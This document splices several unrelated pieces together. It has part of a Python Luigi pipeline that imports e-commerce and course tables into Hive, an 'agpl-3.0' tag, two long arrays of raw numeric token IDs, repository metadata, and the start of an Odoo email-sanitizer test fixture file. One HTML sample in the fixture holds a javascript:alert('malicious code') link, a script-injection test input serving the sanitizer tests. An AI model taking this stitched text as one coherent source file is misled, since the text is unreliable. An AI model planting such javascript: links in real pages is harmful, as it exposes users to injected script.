def columns(self):
return [
('id', 'INT'),
('username', 'STRING'),
('email', 'STRING'),
]
class ImportProductCatalog(ImportMysqlToHiveTableTask):
"""
Ecommerce: Products: Imports product catalog from an external ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'catalogue_product'
@property
def columns(self):
return [
('id', 'INT'),
('structure', 'STRING'),
('upc', 'STRING'),
('title', 'STRING'),
('slug', 'STRING'),
('description', 'STRING'),
('rating', 'STRING'),
('date_created', 'TIMESTAMP'),
('date_updated', 'TIMESTAMP'),
('is_discountable', 'STRING'),
('parent_id', 'INT'),
('product_class_id', 'INT'),
]
class ImportProductCatalogClass(ImportMysqlToHiveTableTask):
"""Ecommerce: Products: Imports product catalog classes from an external ecommerce table to a destination dir."""
@property
def table_name(self):
return 'catalogue_productclass'
@property
def columns(self):
return [
('id', 'INT'),
('name', 'STRING'),
('slug', 'STRING'),
('requires_shipping', 'TINYINT'),
('track_stock', 'TINYINT'),
]
class ImportProductCatalogAttributes(ImportMysqlToHiveTableTask):
"""
Ecommerce: Products: Imports product catalog attributes from an external ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'catalogue_productattribute'
@property
def columns(self):
return [
('id', 'INT'),
('name', 'STRING'),
('code', 'STRING'),
('type', 'STRING'),
('required', 'INT'),
('option_group_id', 'INT'),
('product_class_id', 'INT'),
]
class ImportProductCatalogAttributeValues(ImportMysqlToHiveTableTask):
"""
Ecommerce: Products: Imports product catalog attribute values from an external ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'catalogue_productattributevalue'
@property
def columns(self):
return [
('id', 'INT'),
('value_text', 'STRING'),
('value_integer', 'INT'),
('value_boolean', 'BOOLEAN'),
('value_float', 'STRING'),
('value_richtext', 'STRING'),
('value_date', 'TIMESTAMP'),
('value_file', 'STRING'),
('value_image', 'STRING'),
('entity_object_id', 'INT'),
('attribute_id', 'INT'),
('entity_content_type_id', 'INT'),
('product_id', 'INT'),
('value_option_id', 'INT'),
]
class ImportCurrentRefundRefundLineState(ImportMysqlToHiveTableTask):
"""
Ecommerce: Current: Imports current refund line items from an ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'refund_refundline'
@property
def columns(self):
return [
('id', 'INT'),
('line_credit_excl_tax', 'DECIMAL'),
('quantity', 'INT'),
('status', 'STRING'),
('order_line_id', 'INT'),
('refund_id', 'INT'),
('created', 'TIMESTAMP'),
('modified', 'TIMESTAMP'),
]
class ImportCurrentOrderState(ImportMysqlToHiveTableTask):
"""
Ecommerce Current: Imports current orders from an ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'order_order'
@property
def columns(self):
return [
('id', 'INT'),
('number', 'STRING'),
('currency', 'STRING'),
('total_incl_tax', 'DECIMAL'),
('total_excl_tax', 'DECIMAL'),
('shipping_incl_tax', 'DECIMAL'),
('shipping_excl_tax', 'DECIMAL'),
('shipping_method', 'STRING'),
('shipping_code', 'STRING'),
('status', 'STRING'),
('guest_email', 'STRING'),
('date_placed', 'TIMESTAMP'),
('basket_id', 'INT'),
('billing_address_id', 'INT'),
('shipping_address_id', 'INT'),
('site_id', 'INT'),
('user_id', 'INT'),
]
class ImportCurrentOrderLineState(ImportMysqlToHiveTableTask):
"""
Ecommerce: Current: Imports current order line items from an ecommerce table to a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'order_line'
@property
def columns(self):
return [
('id', 'INT'),
('partner_name', 'STRING'),
('partner_sku', 'STRING'),
('partner_line_reference', 'STRING'),
('partner_line_notes', 'STRING'),
('title', 'STRING'),
('upc', 'STRING'),
('quantity', 'INT'),
('line_price_incl_tax', 'DECIMAL'),
('line_price_excl_tax', 'DECIMAL'),
('line_price_before_discounts_incl_tax', 'DECIMAL'),
('line_price_before_discounts_excl_tax', 'DECIMAL'),
('unit_cost_price', 'DECIMAL'),
('unit_price_incl_tax', 'DECIMAL'),
('unit_price_excl_tax', 'DECIMAL'),
('unit_retail_price', 'DECIMAL'),
('status', 'STRING'),
('est_dispatch_date', 'TIMESTAMP'),
('order_id', 'INT'),
('partner_id', 'INT'),
('product_id', 'INT'),
('stockrecord_id', 'INT'),
]
class ImportCourseModeTask(ImportMysqlToHiveTableTask):
"""
Course Information: Imports course_modes table to both a destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'course_modes_coursemode'
@property
def columns(self):
return [
('id', 'INT'),
('course_id', 'STRING'),
('mode_slug', 'STRING'),
('mode_display_name', 'STRING'),
('min_price', 'INT'),
('suggested_prices', 'STRING'),
('currency', 'STRING'),
('expiration_date', 'TIMESTAMP'),
('expiration_datetime', 'TIMESTAMP'),
('description', 'STRING'),
('sku', 'STRING'),
]
class ImportAllDatabaseTablesTask(DatabaseImportMixin, OverwriteOutputMixin, luigi.WrapperTask):
"""Imports a set of database tables from an external LMS RDBMS."""
def requires(self):
kwargs = {
'destination': self.destination,
'credentials': self.credentials,
'num_mappers': self.num_mappers,
'verbose': self.verbose,
'import_date': self.import_date,
'overwrite': self.overwrite,
}
yield (
ImportStudentCourseEnrollmentTask(**kwargs),
ImportAuthUserTask(**kwargs),
ImportAuthUserProfileTask(**kwargs),
)
def output(self):
return [task.output() for task in self.requires()]
|
agpl-3.0
|
[
624,
199,
6295,
666,
687,
5957,
820,
2846,
3053,
16219,
1901,
869,
1912,
14,
199,
624,
199,
646,
2197,
199,
646,
2050,
199,
646,
13390,
199,
199,
646,
19485,
199,
504,
19485,
14,
17230,
492,
869,
1912,
3227,
4476,
12,
869,
1912,
13068,
4277,
199,
199,
504,
22435,
14,
20211,
14,
5054,
14,
3526,
79,
411,
492,
428,
81,
79,
411,
6295,
2532,
45,
6398,
199,
504,
22435,
14,
20211,
14,
5054,
14,
633,
492,
1166,
63,
515,
63,
904,
199,
504,
22435,
14,
20211,
14,
5054,
14,
1974,
14,
14658,
492,
7259,
952,
2959,
4256,
199,
504,
22435,
14,
20211,
14,
5054,
14,
1974,
14,
17230,
492,
29134,
63,
4659,
63,
354,
199,
199,
793,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
8692,
6295,
4256,
8,
785,
304,
272,
408,
272,
21552,
8605,
2633,
4346,
367,
18549,
820,
2846,
3053,
16219,
14,
339,
3897,
26,
398,
5724,
26,
710,
2082,
370,
2218,
314,
1072,
1584,
370,
14,
267,
6235,
26,
6912,
370,
314,
5957,
2879,
6235,
570,
14,
267,
1967,
63,
24469,
26,
710,
1329,
402,
2341,
6527,
370,
7198,
428,
81,
79,
411,
370,
675,
14,
267,
3376,
26,
9101,
1655,
2556,
1830,
6449,
14,
221,
3758,
365,
756,
14,
267,
492,
63,
602,
26,
221,
6148,
370,
5090,
370,
869,
1912,
6484,
14,
221,
3758,
365,
11168,
1159,
1434,
14,
339,
5679,
23934,
3814,
447,
398,
469,
288,
298,
1102,
582,
298,
697,
14,
2694,
14,
957,
401,
288,
298,
719,
582,
298,
1153,
1690,
401,
288,
298,
2473,
582,
298,
2694,
751,
401,
288,
298,
2060,
582,
298,
2694,
2505,
2,
267,
789,
272,
408,
272,
5724,
275,
19485,
14,
4720,
8,
267,
1101,
63,
515,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
6881,
936,
272,
776,
272,
6235,
275,
19485,
14,
4720,
8,
267,
1101,
63,
515,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
6942,
936,
272,
776,
272,
3050,
275,
19485,
14,
4720,
8,
267,
849,
63,
504,
63,
888,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
4659,
936,
272,
776,
339,
492,
63,
602,
275,
19485,
14,
2506,
4720,
8,
885,
29,
403,
9,
272,
1967,
63,
24469,
275,
19485,
14,
4720,
8,
885,
29,
403,
12,
16474,
29,
797,
9,
272,
3376,
275,
19485,
14,
4082,
4720,
8,
885,
29,
797,
12,
16474,
29,
797,
9,
339,
347,
636,
826,
721,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
1613,
8,
7243,
6295,
4256,
12,
291,
2843,
826,
9308,
589,
12,
1011,
958,
9,
398,
340,
440,
291,
14,
646,
63,
602,
26,
288,
291,
14,
646,
63,
602,
275,
2197,
14,
2083,
14,
10779,
1252,
602,
342,
421,
199,
533,
3161,
19448,
30232,
3186,
4476,
8,
5674,
952,
2959,
4256,
12,
869,
1912,
3227,
4476,
304,
272,
408,
272,
11836,
1021,
370,
492,
666,
1901,
282,
869,
1912,
1817,
14,
339,
15127,
11648,
4382,
436,
282,
5074,
342,
1083,
370,
506,
3247,
14,
272,
408,
339,
347,
1827,
8,
277,
304,
267,
327,
3254,
26,
16266,
734,
4212,
370,
3633,
1536,
2269,
666,
14,
961,
2951,
15158,
796,
267,
327,
734,
2269,
3404,
1617,
2256,
12,
436,
3181,
1133,
5965,
2813,
314,
1817,
267,
327,
666,
14,
398,
327,
7523,
2337,
365,
8840,
1373,
2808,
6484,
315,
314,
267,
327,
1817,
14,
7529,
1133,
4215,
32530,
16394,
3967,
781,
2793,
1133,
2934,
267,
327,
370,
5532,
370,
16466,
19076,
737,
1263,
5578,
6252,
14,
9322,
267,
327,
911,
5992,
1380,
15,
692,
2985,
1929,
370,
5992,
14,
221,
6957,
19076,
267,
327,
1077,
627,
1397,
10,
506,
1202,
367,
5909,
20135,
307,
828,
795,
12,
3140,
781,
1077,
267,
327,
19687,
641,
4474,
503,
3050,
6716,
626,
4215,
32530,
267,
327,
2556,
14,
267,
1827,
63,
908,
275,
13390,
14,
14674,
4852,
288,
4815,
469,
4659,
63,
354,
12084,
288,
26704,
9934,
8036,
23875,
469,
1224,
63,
354,
12084,
288,
16999,
3651,
17071,
9934,
469,
1224,
63,
354,
93,
334,
355,
469,
761,
63,
1650,
93,
288,
776,
288,
3076,
12039,
1149,
6515,
334,
3583,
18661,
9,
288,
469,
1224,
63,
908,
93,
288,
3412,
35,
2594,
5041,
1985,
6834,
27,
288,
12112,
1157,
9934,
469,
1224,
63,
354,
93,
21380,
3076,
12039,
334,
3583,
275,
5041,
5312,
63,
602,
93,
11339,
267,
7857,
398,
1827,
275,
1827,
63,
908,
14,
908,
8,
288,
3050,
63,
354,
29,
17230,
63,
4659,
63,
354,
1062,
288,
1817,
63,
354,
29,
277,
14,
1224,
63,
354,
12,
288,
1048,
63,
1650,
4009,
1370,
904,
2941,
1987,
904,
8,
67,
9,
367,
286,
315,
291,
14,
3406,
2522,
288,
2909,
29,
277,
14,
1224,
63,
1985,
12,
288,
1817,
63,
908,
29,
277,
14,
1224,
63,
908,
12,
288,
6484,
63,
602,
29,
277,
14,
5312,
63,
602,
12,
267,
776,
398,
943,
14,
1757,
360,
4858,
4655,
29134,
1827,
26,
450,
83,
297,
1827,
9,
398,
327,
7173,
314,
1072,
465,
9445,
2757,
4829,
12,
2755,
10617,
267,
327,
626,
3181,
1133,
18077,
7288,
5992,
5133,
314,
1827,
965,
2757,
267,
327,
7934,
334,
460,
315,
6770,
626,
314,
283,
14764,
9934,
7,
365,
7934,
680,
267,
943,
14,
815,
480,
6470,
316,
3411,
1072,
465,
9445,
2757,
4829,
367,
2120,
450,
83,
401,
620,
8,
277,
430,
267,
291,
14,
30021,
63,
25818,
275,
715,
398,
372,
1827,
339,
768,
1829,
272,
347,
6484,
8,
277,
304,
267,
408,
17473,
536,
402,
869,
1912,
3050,
1817,
6484,
1041,
267,
327,
710,
30936,
13721,
29134,
1233,
14292,
16394,
370,
506,
3247,
701,
11196,
14,
267,
372,
791,
3583,
356,
291,
14,
5312,
63,
602,
93,
339,
768,
1829,
272,
347,
6484,
63,
1985,
8,
277,
304,
267,
408,
17473,
2909,
402,
869,
1912,
3050,
1817,
1159,
6484,
666,
1041,
267,
327,
710,
3503,
4922,
536,
2382,
314,
666,
365,
5489,
365,
1420,
370,
506,
315,
314,
1475,
665,
498,
8119,
28,
585,
30,
267,
6484,
63,
354,
275,
14051,
14,
904,
8,
277,
14,
5312,
14,
1744,
3430,
16,
566,
267,
327,
4155,
3238,
626,
1324,
931,
11187,
543,
282,
14457,
12,
370,
6623,
282,
2082,
14,
267
] |
[
199,
6295,
666,
687,
5957,
820,
2846,
3053,
16219,
1901,
869,
1912,
14,
199,
624,
199,
646,
2197,
199,
646,
2050,
199,
646,
13390,
199,
199,
646,
19485,
199,
504,
19485,
14,
17230,
492,
869,
1912,
3227,
4476,
12,
869,
1912,
13068,
4277,
199,
199,
504,
22435,
14,
20211,
14,
5054,
14,
3526,
79,
411,
492,
428,
81,
79,
411,
6295,
2532,
45,
6398,
199,
504,
22435,
14,
20211,
14,
5054,
14,
633,
492,
1166,
63,
515,
63,
904,
199,
504,
22435,
14,
20211,
14,
5054,
14,
1974,
14,
14658,
492,
7259,
952,
2959,
4256,
199,
504,
22435,
14,
20211,
14,
5054,
14,
1974,
14,
17230,
492,
29134,
63,
4659,
63,
354,
199,
199,
793,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
8692,
6295,
4256,
8,
785,
304,
272,
408,
272,
21552,
8605,
2633,
4346,
367,
18549,
820,
2846,
3053,
16219,
14,
339,
3897,
26,
398,
5724,
26,
710,
2082,
370,
2218,
314,
1072,
1584,
370,
14,
267,
6235,
26,
6912,
370,
314,
5957,
2879,
6235,
570,
14,
267,
1967,
63,
24469,
26,
710,
1329,
402,
2341,
6527,
370,
7198,
428,
81,
79,
411,
370,
675,
14,
267,
3376,
26,
9101,
1655,
2556,
1830,
6449,
14,
221,
3758,
365,
756,
14,
267,
492,
63,
602,
26,
221,
6148,
370,
5090,
370,
869,
1912,
6484,
14,
221,
3758,
365,
11168,
1159,
1434,
14,
339,
5679,
23934,
3814,
447,
398,
469,
288,
298,
1102,
582,
298,
697,
14,
2694,
14,
957,
401,
288,
298,
719,
582,
298,
1153,
1690,
401,
288,
298,
2473,
582,
298,
2694,
751,
401,
288,
298,
2060,
582,
298,
2694,
2505,
2,
267,
789,
272,
408,
272,
5724,
275,
19485,
14,
4720,
8,
267,
1101,
63,
515,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
6881,
936,
272,
776,
272,
6235,
275,
19485,
14,
4720,
8,
267,
1101,
63,
515,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
6942,
936,
272,
776,
272,
3050,
275,
19485,
14,
4720,
8,
267,
849,
63,
504,
63,
888,
3713,
2792,
356,
283,
4659,
13,
646,
297,
283,
354,
356,
283,
4659,
936,
272,
776,
339,
492,
63,
602,
275,
19485,
14,
2506,
4720,
8,
885,
29,
403,
9,
272,
1967,
63,
24469,
275,
19485,
14,
4720,
8,
885,
29,
403,
12,
16474,
29,
797,
9,
272,
3376,
275,
19485,
14,
4082,
4720,
8,
885,
29,
797,
12,
16474,
29,
797,
9,
339,
347,
636,
826,
721,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
1613,
8,
7243,
6295,
4256,
12,
291,
2843,
826,
9308,
589,
12,
1011,
958,
9,
398,
340,
440,
291,
14,
646,
63,
602,
26,
288,
291,
14,
646,
63,
602,
275,
2197,
14,
2083,
14,
10779,
1252,
602,
342,
421,
199,
533,
3161,
19448,
30232,
3186,
4476,
8,
5674,
952,
2959,
4256,
12,
869,
1912,
3227,
4476,
304,
272,
408,
272,
11836,
1021,
370,
492,
666,
1901,
282,
869,
1912,
1817,
14,
339,
15127,
11648,
4382,
436,
282,
5074,
342,
1083,
370,
506,
3247,
14,
272,
408,
339,
347,
1827,
8,
277,
304,
267,
327,
3254,
26,
16266,
734,
4212,
370,
3633,
1536,
2269,
666,
14,
961,
2951,
15158,
796,
267,
327,
734,
2269,
3404,
1617,
2256,
12,
436,
3181,
1133,
5965,
2813,
314,
1817,
267,
327,
666,
14,
398,
327,
7523,
2337,
365,
8840,
1373,
2808,
6484,
315,
314,
267,
327,
1817,
14,
7529,
1133,
4215,
32530,
16394,
3967,
781,
2793,
1133,
2934,
267,
327,
370,
5532,
370,
16466,
19076,
737,
1263,
5578,
6252,
14,
9322,
267,
327,
911,
5992,
1380,
15,
692,
2985,
1929,
370,
5992,
14,
221,
6957,
19076,
267,
327,
1077,
627,
1397,
10,
506,
1202,
367,
5909,
20135,
307,
828,
795,
12,
3140,
781,
1077,
267,
327,
19687,
641,
4474,
503,
3050,
6716,
626,
4215,
32530,
267,
327,
2556,
14,
267,
1827,
63,
908,
275,
13390,
14,
14674,
4852,
288,
4815,
469,
4659,
63,
354,
12084,
288,
26704,
9934,
8036,
23875,
469,
1224,
63,
354,
12084,
288,
16999,
3651,
17071,
9934,
469,
1224,
63,
354,
93,
334,
355,
469,
761,
63,
1650,
93,
288,
776,
288,
3076,
12039,
1149,
6515,
334,
3583,
18661,
9,
288,
469,
1224,
63,
908,
93,
288,
3412,
35,
2594,
5041,
1985,
6834,
27,
288,
12112,
1157,
9934,
469,
1224,
63,
354,
93,
21380,
3076,
12039,
334,
3583,
275,
5041,
5312,
63,
602,
93,
11339,
267,
7857,
398,
1827,
275,
1827,
63,
908,
14,
908,
8,
288,
3050,
63,
354,
29,
17230,
63,
4659,
63,
354,
1062,
288,
1817,
63,
354,
29,
277,
14,
1224,
63,
354,
12,
288,
1048,
63,
1650,
4009,
1370,
904,
2941,
1987,
904,
8,
67,
9,
367,
286,
315,
291,
14,
3406,
2522,
288,
2909,
29,
277,
14,
1224,
63,
1985,
12,
288,
1817,
63,
908,
29,
277,
14,
1224,
63,
908,
12,
288,
6484,
63,
602,
29,
277,
14,
5312,
63,
602,
12,
267,
776,
398,
943,
14,
1757,
360,
4858,
4655,
29134,
1827,
26,
450,
83,
297,
1827,
9,
398,
327,
7173,
314,
1072,
465,
9445,
2757,
4829,
12,
2755,
10617,
267,
327,
626,
3181,
1133,
18077,
7288,
5992,
5133,
314,
1827,
965,
2757,
267,
327,
7934,
334,
460,
315,
6770,
626,
314,
283,
14764,
9934,
7,
365,
7934,
680,
267,
943,
14,
815,
480,
6470,
316,
3411,
1072,
465,
9445,
2757,
4829,
367,
2120,
450,
83,
401,
620,
8,
277,
430,
267,
291,
14,
30021,
63,
25818,
275,
715,
398,
372,
1827,
339,
768,
1829,
272,
347,
6484,
8,
277,
304,
267,
408,
17473,
536,
402,
869,
1912,
3050,
1817,
6484,
1041,
267,
327,
710,
30936,
13721,
29134,
1233,
14292,
16394,
370,
506,
3247,
701,
11196,
14,
267,
372,
791,
3583,
356,
291,
14,
5312,
63,
602,
93,
339,
768,
1829,
272,
347,
6484,
63,
1985,
8,
277,
304,
267,
408,
17473,
2909,
402,
869,
1912,
3050,
1817,
1159,
6484,
666,
1041,
267,
327,
710,
3503,
4922,
536,
2382,
314,
666,
365,
5489,
365,
1420,
370,
506,
315,
314,
1475,
665,
498,
8119,
28,
585,
30,
267,
6484,
63,
354,
275,
14051,
14,
904,
8,
277,
14,
5312,
14,
1744,
3430,
16,
566,
267,
327,
4155,
3238,
626,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
miguelparaiso/OdooAccessible
|
openerp/addons/base/tests/test_mail_examples.py
|
302
|
57129
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
MISC_HTML_SOURCE = """
<font size="2" style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; ">test1</font>
<div style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; font-size: 12px; font-style: normal; ">
<b>test2</b></div><div style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; font-size: 12px; ">
<i>test3</i></div><div style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; font-size: 12px; ">
<u>test4</u></div><div style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; font-size: 12px; ">
<strike>test5</strike></div><div style="color: rgb(31, 31, 31); font-family: monospace; font-variant: normal; line-height: normal; ">
<font size="5">test6</font></div><div><ul><li><font color="#1f1f1f" face="monospace" size="2">test7</font></li><li>
<font color="#1f1f1f" face="monospace" size="2">test8</font></li></ul><div><ol><li><font color="#1f1f1f" face="monospace" size="2">test9</font>
</li><li><font color="#1f1f1f" face="monospace" size="2">test10</font></li></ol></div></div>
<blockquote style="margin: 0 0 0 40px; border: none; padding: 0px;"><div><div><div><font color="#1f1f1f" face="monospace" size="2">
test11</font></div></div></div></blockquote><blockquote style="margin: 0 0 0 40px; border: none; padding: 0px;">
<blockquote style="margin: 0 0 0 40px; border: none; padding: 0px;"><div><font color="#1f1f1f" face="monospace" size="2">
test12</font></div><div><font color="#1f1f1f" face="monospace" size="2"><br></font></div></blockquote></blockquote>
<font color="#1f1f1f" face="monospace" size="2"><a href="http://google.com">google</a></font>
<a href="javascript:alert('malicious code')">test link</a>
"""
EDI_LIKE_HTML_SOURCE = """<div style="font-family: 'Lucica Grande', Ubuntu, Arial, Verdana, sans-serif; font-size: 12px; color: rgb(34, 34, 34); background-color: #FFF; ">
<p>Hello ${object.partner_id.name},</p>
<p>A new invoice is available for you: </p>
<p style="border-left: 1px solid #8e0000; margin-left: 30px;">
<strong>REFERENCES</strong><br />
Invoice number: <strong>${object.number}</strong><br />
Invoice total: <strong>${object.amount_total} ${object.currency_id.name}</strong><br />
Invoice date: ${object.date_invoice}<br />
Order reference: ${object.origin}<br />
Your contact: <a href="mailto:${object.user_id.email or ''}?subject=Invoice%20${object.number}">${object.user_id.name}</a>
</p>
<br/>
<p>It is also possible to directly pay with Paypal:</p>
<a style="margin-left: 120px;" href="${object.paypal_url}">
<img class="oe_edi_paypal_button" src="https://www.paypal.com/en_US/i/btn/btn_paynowCC_LG.gif"/>
</a>
<br/>
<p>If you have any question, do not hesitate to contact us.</p>
<p>Thank you for choosing ${object.company_id.name or 'us'}!</p>
<br/>
<br/>
<div style="width: 375px; margin: 0px; padding: 0px; background-color: #8E0000; border-top-left-radius: 5px 5px; border-top-right-radius: 5px 5px; background-repeat: repeat no-repeat;">
<h3 style="margin: 0px; padding: 2px 14px; font-size: 12px; color: #DDD;">
<strong style="text-transform:uppercase;">${object.company_id.name}</strong></h3>
</div>
<div style="width: 347px; margin: 0px; padding: 5px 14px; line-height: 16px; background-color: #F2F2F2;">
<span style="color: #222; margin-bottom: 5px; display: block; ">
${object.company_id.street}<br/>
${object.company_id.street2}<br/>
${object.company_id.zip} ${object.company_id.city}<br/>
${object.company_id.state_id and ('%s, ' % object.company_id.state_id.name) or ''} ${object.company_id.country_id.name or ''}<br/>
</span>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
Phone: ${object.company_id.phone}
</div>
<div>
Web : <a href="${object.company_id.website}">${object.company_id.website}</a>
</div>
</div>
</div></body></html>"""
OERP_WEBSITE_HTML_1 = """
<div>
<div class="container">
<div class="row">
<div class="col-md-12 text-center mt16 mb16" data-snippet-id="colmd">
<h2>OpenERP HR Features</h2>
<h3 class="text-muted">Manage your company most important asset: People</h3>
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-rounded img-responsive" src="/website/static/src/img/china_thumb.jpg">
<h4 class="mt16">Streamline Recruitments</h4>
<p>Post job offers and keep track of each application received. Follow applicants in your recruitment process with the smart kanban view.</p>
<p>Save time by automating some communications with email templates. Resumes are indexed automatically, allowing you to easily find for specific profiles.</p>
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-rounded img-responsive" src="/website/static/src/img/desert_thumb.jpg">
<h4 class="mt16">Enterprise Social Network</h4>
<p>Break down information silos. Share knowledge and best practices amongst all employees. Follow specific people or documents and join groups of interests to share expertise and documents.</p>
<p>Interact with your collegues in real time with live chat.</p>
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-rounded img-responsive" src="/website/static/src/img/deers_thumb.jpg">
<h4 class="mt16">Leaves Management</h4>
<p>Keep track of the vacation days accrued by each employee. Employees enter their requests (paid holidays, sick leave, etc), for managers to approve and validate. It's all done in just a few clicks. The agenda of each employee is updated accordingly.</p>
</div>
</div>
</div>
</div>"""
OERP_WEBSITE_HTML_1_IN = [
'Manage your company most important asset: People',
'img class="img-rounded img-responsive" src="/website/static/src/img/china_thumb.jpg"',
]
OERP_WEBSITE_HTML_1_OUT = [
'Break down information silos.',
'Keep track of the vacation days accrued by each employee',
'img class="img-rounded img-responsive" src="/website/static/src/img/deers_thumb.jpg',
]
OERP_WEBSITE_HTML_2 = """
<div class="mt16 cke_widget_editable cke_widget_element oe_editable oe_dirty" data-oe-model="blog.post" data-oe-id="6" data-oe-field="content" data-oe-type="html" data-oe-translate="0" data-oe-expression="blog_post.content" data-cke-widget-data="{}" data-cke-widget-keep-attr="0" data-widget="oeref" contenteditable="true" data-cke-widget-editable="text">
<section class="mt16 mb16" data-snippet-id="text-block">
<div class="container">
<div class="row">
<div class="col-md-12 text-center mt16 mb32" data-snippet-id="colmd">
<h2>
OpenERP Project Management
</h2>
<h3 class="text-muted">Infinitely flexible. Incredibly easy to use.</h3>
</div>
<div class="col-md-12 mb16 mt16" data-snippet-id="colmd">
<p>
OpenERP's <b>collaborative and realtime</b> project
management helps your team get work done. Keep
track of everything, from the big picture to the
minute details, from the customer contract to the
billing.
</p><p>
Organize projects around <b>your own processes</b>. Work
on tasks and issues using the kanban view, schedule
tasks using the gantt chart and control deadlines
in the calendar view. Every project may have it's
own stages allowing teams to optimize their job.
</p>
</div>
</div>
</div>
</section>
<section class="" data-snippet-id="image-text">
<div class="container">
<div class="row">
<div class="col-md-6 mt16 mb16" data-snippet-id="colmd">
<img class="img-responsive shadow" src="/website/static/src/img/image_text.jpg">
</div>
<div class="col-md-6 mt32" data-snippet-id="colmd">
<h3>Manage Your Shops</h3>
<p>
OpenERP's Point of Sale introduces a super clean
interface with no installation required that runs
online and offline on modern hardwares.
</p><p>
It's full integration with the company inventory
and accounting, gives you real time statistics and
consolidations amongst all shops without the hassle
of integrating several applications.
</p>
</div>
</div>
</div>
</section>
<section class="" data-snippet-id="text-image">
<div class="container">
<div class="row">
<div class="col-md-6 mt32" data-snippet-id="colmd">
<h3>Enterprise Social Network</h3>
<p>
Make every employee feel more connected and engaged
with twitter-like features for your own company. Follow
people, share best practices, 'like' top ideas, etc.
</p><p>
Connect with experts, follow what interests you, share
documents and promote best practices with OpenERP
Social application. Get work done with effective
collaboration across departments, geographies
and business applications.
</p>
</div>
<div class="col-md-6 mt16 mb16" data-snippet-id="colmd">
<img class="img-responsive shadow" src="/website/static/src/img/text_image.png">
</div>
</div>
</div>
</section><section class="" data-snippet-id="portfolio">
<div class="container">
<div class="row">
<div class="col-md-12 text-center mt16 mb32" data-snippet-id="colmd">
<h2>Our Porfolio</h2>
<h4 class="text-muted">More than 500 successful projects</h4>
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/deers.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/desert.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/china.jpg">
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/desert.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/china.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/deers.jpg">
</div>
<div class="col-md-4" data-snippet-id="colmd">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/landscape.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/china.jpg">
<img class="img-thumbnail img-responsive" src="/website/static/src/img/desert.jpg">
</div>
</div>
</div>
</section>
</div>
"""
OERP_WEBSITE_HTML_2_IN = [
'management helps your team get work done',
]
OERP_WEBSITE_HTML_2_OUT = [
'Make every employee feel more connected',
'img class="img-responsive shadow" src="/website/static/src/img/text_image.png',
]
TEXT_1 = """I contact you about our meeting tomorrow. Here is the schedule I propose:
9 AM: brainstorming about our new amazing business app
9.45 AM: summary
10 AM: meeting with Ignasse to present our app
Is everything ok for you ?
--
MySignature"""
TEXT_1_IN = ["""I contact you about our meeting tomorrow. Here is the schedule I propose:
9 AM: brainstorming about our new amazing business app
9.45 AM: summary
10 AM: meeting with Ignasse to present our app
Is everything ok for you ?"""]
TEXT_1_OUT = ["""--
MySignature"""]
TEXT_2 = """Salut Raoul!
Le 28 oct. 2012 à 00:02, Raoul Grosbedon a écrit :
> I contact you about our meeting tomorrow. Here is the schedule I propose: (quote)
Of course. This seems viable.
> 2012/10/27 Bert Tartopoils :
>> blahblahblah (quote)?
>>
>> blahblahblah (quote)
>>
>> Bert TARTOPOILS
>> bert.tartopoils@miam.miam
>>
>
>
> --
> RaoulSignature
Bert TARTOPOILS
bert.tartopoils@miam.miam
"""
TEXT_2_IN = ["Salut Raoul!", "Of course. This seems viable."]
TEXT_2_OUT = ["I contact you about our meeting tomorrow. Here is the schedule I propose: (quote)",
"""> 2012/10/27 Bert Tartopoils :
>> blahblahblah (quote)?
>>
>> blahblahblah (quote)
>>
>> Bert TARTOPOILS
>> bert.tartopoils@miam.miam
>>
>
>
> --
> RaoulSignature"""]
HTML_1 = """<p>I contact you about our meeting for tomorrow. Here is the schedule I propose: (keep)
9 AM: brainstorming about our new amazing business app
9.45 AM: summary
10 AM: meeting with Ignasse to present our app
Is everything ok for you ?
--
MySignature</p>"""
HTML_1_IN = ["""I contact you about our meeting for tomorrow. Here is the schedule I propose: (keep)
9 AM: brainstorming about our new amazing business app
9.45 AM: summary
10 AM: meeting with Ignasse to present our app
Is everything ok for you ?"""]
HTML_1_OUT = ["""--
MySignature"""]
HTML_2 = """<div>
<font><span>I contact you about our meeting for tomorrow. Here is the schedule I propose:</span></font>
</div>
<div>
<ul>
